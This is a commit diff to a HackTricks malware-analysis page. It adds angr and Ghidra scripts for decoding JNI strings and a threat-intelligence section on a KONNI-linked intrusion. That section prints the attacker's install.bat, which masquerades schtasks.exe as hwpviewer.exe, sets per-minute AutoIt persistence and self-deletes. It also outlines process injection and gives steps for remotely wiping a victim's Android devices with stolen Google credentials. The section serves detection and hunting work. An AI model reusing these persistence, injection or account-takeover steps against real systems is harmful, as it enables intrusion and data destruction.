Skip to content

Commit 2178df6

Browse files
authored
Merge pull request #1565 from HackTricks-wiki/update_KONNI-linked_APT_abuses_Google_Find_Hub_to_wipe_An_20251110_182953
KONNI-linked APT abuses Google Find Hub to wipe Android devi...
2 parents f36c935 + b9edc4f commit 2178df6

File tree

1 file changed

+199
-85
lines changed

1 file changed

+199
-85
lines changed

src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md

Lines changed: 199 additions & 85 deletions
Original file line numberDiff line numberDiff line change
@@ -210,99 +210,115 @@ Ghidra triage (JNI_OnLoad pattern)
210210
angr setup (execute the decoder offline)
211211
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
212212
213-
```python
214-
import angr, json
215-
216-
project = angr.Project(
217-
'/path/to/libtarget.so',
218-
load_options={'main_opts': {'base_addr': 0x00100000}},
219-
auto_load_libs=False,
220-
)
221-
222-
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
223-
224-
def decode_string(enc_addr, length):
225-
# fresh blank state per evaluation
226-
st = project.factory.blank_state()
227-
outbuf = st.heap.allocate(length)
228-
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
229-
ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
230-
rs = call.result_state
231-
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
232-
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')
233-
234-
# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
235-
print(decode_string(0x00100933, 5))
236-
```
213+
<details>
214+
<summary>angr setup and offline decoder execution</summary>
215+
216+
```python
217+
import angr, json
218+
219+
project = angr.Project(
220+
'/path/to/libtarget.so',
221+
load_options={'main_opts': {'base_addr': 0x00100000}},
222+
auto_load_libs=False,
223+
)
224+
225+
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
226+
227+
def decode_string(enc_addr, length):
228+
# fresh blank state per evaluation
229+
st = project.factory.blank_state()
230+
outbuf = st.heap.allocate(length)
231+
call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
232+
ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
233+
rs = call.result_state
234+
raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
235+
return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')
236+
237+
# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
238+
print(decode_string(0x00100933, 5))
239+
```
240+
241+
</details>
237242

238243
- At scale, build a static map of call sites to the decoder’s arguments (encoded_ptr, size). Wrappers may hide arguments, so you may create this mapping manually from Ghidra xrefs if API recovery is noisy.
239244

240-
```python
241-
# call_site -> (encoded_addr, size)
242-
call_site_args_map = {
243-
0x00100f8c: (0x00100b81, 0x41),
244-
0x00100fa8: (0x00100bca, 0x04),
245-
0x00100fcc: (0x001007a0, 0x41),
246-
0x00100fe8: (0x00100933, 0x05),
247-
0x0010100c: (0x00100c62, 0x41),
248-
0x00101028: (0x00100c15, 0x16),
249-
0x00101050: (0x00100a49, 0x101),
250-
0x00100cf4: (0x00100821, 0x11),
251-
0x00101170: (0x00100940, 0x101),
252-
0x001011cc: (0x0010084e, 0x13),
253-
0x00101334: (0x001007e9, 0x0f),
254-
0x00101478: (0x0010087d, 0x15),
255-
0x001014f8: (0x00100800, 0x19),
256-
0x001015e8: (0x001008e6, 0x27),
257-
0x0010160c: (0x00100c33, 0x13),
258-
}
259-
260-
decoded_map = { hex(cs): decode_string(enc, sz)
261-
for cs, (enc, sz) in call_site_args_map.items() }
262-
263-
print(json.dumps(decoded_map, indent=2))
264-
with open('decoded_strings.json', 'w') as f:
265-
json.dump(decoded_map, f, indent=2)
266-
```
245+
<details>
246+
<summary>Batch decode multiple call sites with angr</summary>
247+
248+
```python
249+
# call_site -> (encoded_addr, size)
250+
call_site_args_map = {
251+
0x00100f8c: (0x00100b81, 0x41),
252+
0x00100fa8: (0x00100bca, 0x04),
253+
0x00100fcc: (0x001007a0, 0x41),
254+
0x00100fe8: (0x00100933, 0x05),
255+
0x0010100c: (0x00100c62, 0x41),
256+
0x00101028: (0x00100c15, 0x16),
257+
0x00101050: (0x00100a49, 0x101),
258+
0x00100cf4: (0x00100821, 0x11),
259+
0x00101170: (0x00100940, 0x101),
260+
0x001011cc: (0x0010084e, 0x13),
261+
0x00101334: (0x001007e9, 0x0f),
262+
0x00101478: (0x0010087d, 0x15),
263+
0x001014f8: (0x00100800, 0x19),
264+
0x001015e8: (0x001008e6, 0x27),
265+
0x0010160c: (0x00100c33, 0x13),
266+
}
267+
268+
decoded_map = { hex(cs): decode_string(enc, sz)
269+
for cs, (enc, sz) in call_site_args_map.items() }
270+
271+
import json
272+
print(json.dumps(decoded_map, indent=2))
273+
with open('decoded_strings.json', 'w') as f:
274+
json.dump(decoded_map, f, indent=2)
275+
```
276+
277+
</details>
267278

268279
Annotate call sites in Ghidra
269280
Option A: Jython-only comment writer (use a pre-computed JSON)
270281
- Since angr requires CPython3, keep deobfuscation and annotation separated. First run the angr script above to produce decoded_strings.json. Then run this Jython GhidraScript to write PRE_COMMENTs at each call site (and include the caller function name for context):
271282

272-
```python
273-
#@category Android/Deobfuscation
274-
# Jython in Ghidra 10/11
275-
import json
276-
from ghidra.program.model.listing import CodeUnit
277-
278-
# Ask for the JSON produced by the angr script
279-
f = askFile('Select decoded_strings.json', 'Load')
280-
mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings
281-
282-
fm = currentProgram.getFunctionManager()
283-
rm = currentProgram.getReferenceManager()
284-
285-
# Replace with your decoder address to locate call-xrefs (optional)
286-
ENCODING_FUNC_ADDR = 0x00100e10
287-
enc_addr = toAddr(ENCODING_FUNC_ADDR)
288-
289-
callsite_to_fn = {}
290-
for ref in rm.getReferencesTo(enc_addr):
291-
if ref.getReferenceType().isCall():
292-
from_addr = ref.getFromAddress()
293-
fn = fm.getFunctionContaining(from_addr)
294-
if fn:
295-
callsite_to_fn[from_addr.getOffset()] = fn.getName()
296-
297-
# Write comments from JSON
298-
for k_hex, s in mapping.items():
299-
cs = int(k_hex, 16)
300-
site = toAddr(cs)
301-
caller = callsite_to_fn.get(cs, None)
302-
text = s if caller is None else '%s @ %s' % (s, caller)
303-
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
304-
print('[+] Annotated %d call sites' % len(mapping))
305-
```
283+
<details>
284+
<summary>Ghidra Jython script to annotate decoded JNI strings</summary>
285+
286+
```python
287+
#@category Android/Deobfuscation
288+
# Jython in Ghidra 10/11
289+
import json
290+
from ghidra.program.model.listing import CodeUnit
291+
292+
# Ask for the JSON produced by the angr script
293+
f = askFile('Select decoded_strings.json', 'Load')
294+
mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings
295+
296+
fm = currentProgram.getFunctionManager()
297+
rm = currentProgram.getReferenceManager()
298+
299+
# Replace with your decoder address to locate call-xrefs (optional)
300+
ENCODING_FUNC_ADDR = 0x00100e10
301+
enc_addr = toAddr(ENCODING_FUNC_ADDR)
302+
303+
callsite_to_fn = {}
304+
for ref in rm.getReferencesTo(enc_addr):
305+
if ref.getReferenceType().isCall():
306+
from_addr = ref.getFromAddress()
307+
fn = fm.getFunctionContaining(from_addr)
308+
if fn:
309+
callsite_to_fn[from_addr.getOffset()] = fn.getName()
310+
311+
# Write comments from JSON
312+
for k_hex, s in mapping.items():
313+
cs = int(k_hex, 16)
314+
site = toAddr(cs)
315+
caller = callsite_to_fn.get(cs, None)
316+
text = s if caller is None else '%s @ %s' % (s, caller)
317+
currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
318+
print('[+] Annotated %d call sites' % len(mapping))
319+
```
320+
321+
</details>
306322

307323
Option B: Single CPython script via pyhidra/ghidra_bridge
308324
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.
@@ -410,6 +426,100 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
410426

411427
---
412428

429+
## AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection
430+
431+
This intrusion pattern chains a signed MSI, AutoIt loaders compiled to .a3x, and a Task Scheduler job masquerading as a benign app.
432+
433+
### MSI → custom actions → AutoIt orchestrator
434+
435+
Process tree and commands executed by the MSI custom actions:
436+
437+
- MsiExec.exe → cmd.exe to run install.bat
438+
- WScript.exe to show a decoy error dialog
439+
440+
```cmd
441+
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
442+
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
443+
```
444+
445+
install.bat (drops loader, sets persistence, self-cleans):
446+
447+
```bat
448+
@echo off
449+
set dr=Music
450+
451+
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
452+
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
453+
454+
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
455+
& hwpviewer /delete /tn "IoKlTr" /f ^
456+
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
457+
458+
del /f /q "%~dp0AutoIt3.exe"
459+
del /f /q "%~dp0IoKlTr.au3"
460+
del /f /q "%~f0"
461+
```
462+
463+
error.vbs (user decoy):
464+
465+
```vb
466+
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
467+
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
468+
vbCritical, "언어팩 오류"
469+
```
470+
471+
Key artifacts and masquerade:
472+
- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
473+
- Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
474+
- Creates a scheduled task "IoKlTr" that runs every 1 minute
475+
- Startup LNK seen as Smart_Web.lnk; mutex: `Global\AB732E15-D8DD-87A1-7464-CE6698819E701`
476+
- Stages modules under %APPDATA%\Google\Browser\ subfolders containing `adb` or `adv` and starts them via autoit.vbs/install.bat helpers
477+
478+
Forensic triage tips:
479+
- schtasks enumeration: `schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"`
480+
- Look for renamed copies of schtasks.exe co-located with Task XML: `dir /a "C:\Users\Public\Music\hwpviewer.exe"`
481+
- Common paths: `C:\Users\Public\Music\AutoIt3.exe`, `...\IoKlTr.au3`, Startup `Smart_Web.lnk`, `%APPDATA%\Google\Browser\(adb|adv)*`
482+
- Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)
483+
484+
### AutoIt loaders and .a3x payload decryption → injection
485+
486+
- AutoIt modules are compiled with `#AutoIt3Wrapper_Outfile_type=a3x` and decrypt embedded payloads before injecting into benign processes.
487+
- Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (`Remcos\RunBinary.a3x`).
488+
- Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.
489+
490+
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
491+
492+
```python
493+
import hmac, hashlib
494+
from Crypto.Cipher import AES
495+
496+
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
497+
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
498+
return hmac.new(secret, data, hashlib.sha256).digest()
499+
500+
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
501+
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
502+
```
503+
504+
Common injection flow (CreateRemoteThread-style):
505+
- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
506+
- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
507+
- CreateRemoteThread or QueueUserAPC to execute payload
508+
509+
Hunting ideas
510+
- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
511+
- Files with `.a3x` extensions or AutoIt script runners under public/user-writable paths
512+
- Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers
513+
514+
### Account-takeover abuse of Android Find My Device (Find Hub)
515+
516+
During the Windows intrusion, operators used stolen Google credentials to repeatedly wipe the victim’s Android devices, suppressing notifications while they expanded access via the victim’s logged-in desktop messenger.
517+
518+
Operator steps (from a logged-in browser session):
519+
- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
520+
- Select device → re-enter Google password → issue "Erase device" (factory reset); repeat to delay recovery
521+
- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications
522+
413523
## AdaptixC2: Configuration Extraction and TTPs
414524

415525
See the dedicated page:
@@ -430,5 +540,9 @@ adaptixc2-config-extraction-and-ttps.md
430540
- Tracing JNI Functions – [valsamaras.medium.com](https://valsamaras.medium.com/tracing-jni-functions-75b04bee7c58)
431541
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – [laripping.com](https://laripping.com/blog-posts/2021/12/20/nativeenrich.html)
432542
- [Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
543+
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – [genians.co.kr](https://www.genians.co.kr/en/blog/threat_intelligence/android)
544+
- Android Find My Device (Find Hub) – [google.com/android/find](https://www.google.com/android/find)
545+
- RftRAT/RFTServer technical analysis – [asec.ahnlab.com](https://asec.ahnlab.com/en/59590/)
546+
- HMAC background – [wikipedia.org/wiki/HMAC](https://en.wikipedia.org/wiki/HMAC)
433547

434548
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)